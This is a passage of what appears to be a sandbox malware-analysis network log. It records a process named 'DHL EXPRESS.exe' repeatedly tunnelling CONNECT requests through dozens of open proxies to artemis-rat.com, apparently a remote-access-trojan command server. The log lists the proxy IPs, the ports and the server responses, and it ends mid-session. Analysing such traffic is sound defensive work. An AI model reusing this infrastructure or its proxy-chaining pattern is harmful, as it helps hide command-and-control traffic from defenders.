727	192.168.2.8	49904	50.233.111.162	32100	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.937552929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.965022087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
728	192.168.2.8	52105	154.12.178.107	29985	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.972959042 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
729	192.168.2.8	52099	45.138.87.238	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.984461069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
730	192.168.2.8	52141	43.163.192.3	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.989712954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
731	192.168.2.8	51966	202.166.219.80	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.000334024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
732	192.168.2.8	52185	194.4.50.91	12334	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.016349077 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
733	192.168.2.8	52226	104.21.31.189	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.016865969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.171329975 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
734	192.168.2.8	52098	103.118.44.136	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.017287016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
735	192.168.2.8	52027	5.44.42.115	58386	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.020503998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
736	192.168.2.8	52254	172.67.181.17	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.021055937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.175648928 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
737	192.168.2.8	52208	192.252.220.89	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.024913073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
738	192.168.2.8	52113	217.196.138.91	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.025151014 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.508991003 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
739	192.168.2.8	52106	185.132.242.212	8083	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.029738903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
740	192.168.2.8	52115	61.133.66.69	9002	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.031009912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.381625891 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 17:36:48 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
741	192.168.2.8	52204	172.93.213.177	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.031286955 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.398422003 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.1 Date: Mon, 11 Mar 2024 17:36:48 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
742	192.168.2.8	52186	47.242.234.237	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.110971928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
743	192.168.2.8	52187	58.75.126.235	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.111212015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
744	192.168.2.8	49805	196.202.40.17	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.165709019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.206444025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.206746101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.300590992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:12.393898964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:24.503196955 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:36.503209114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:00.503247023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:48.503209114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
745	192.168.2.8	52182	106.14.255.124	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.180232048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
746	192.168.2.8	49976	162.214.197.102	51918	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.181379080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.206456900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.206754923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.300586939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:12.393930912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:24.503223896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:36.503211975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:00.503272057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:48.503273964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
747	192.168.2.8	52202	45.178.133.75	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.182962894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.909512997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.720232964 CET	19	IN	HTTP/1.1 200 OK
Mar 11, 2024 18:39:03.920031071 CET	202	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 735 Content-Type: text/html Date: Sat, 13 Jan 2024 18:22:42 GMT Expires: Sat, 13 Jan 2024 18:22:42 GMT Server: Mikrotik HttpProxy Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
748	192.168.2.8	52194	31.211.130.237	8192	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.184329987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
749	192.168.2.8	52188	45.11.95.165	6012	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.187082052 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
750	192.168.2.8	52217	90.74.184.32	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.201139927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.909538031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.909720898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.909801960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.649962902 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
751	192.168.2.8	52222	47.242.15.120	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.201411963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
752	192.168.2.8	52210	43.133.74.172	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.201769114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
753	192.168.2.8	52190	202.162.219.10	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.201776028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
754	192.168.2.8	52256	5.75.192.13	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.220556021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.526690006 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 17:36:48 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
755	192.168.2.8	52220	194.247.173.17	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.230385065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
756	192.168.2.8	52200	93.157.248.108	88	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.231014967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
757	192.168.2.8	52221	146.59.18.246	49871	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.232666016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
758	192.168.2.8	52095	197.232.85.163	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
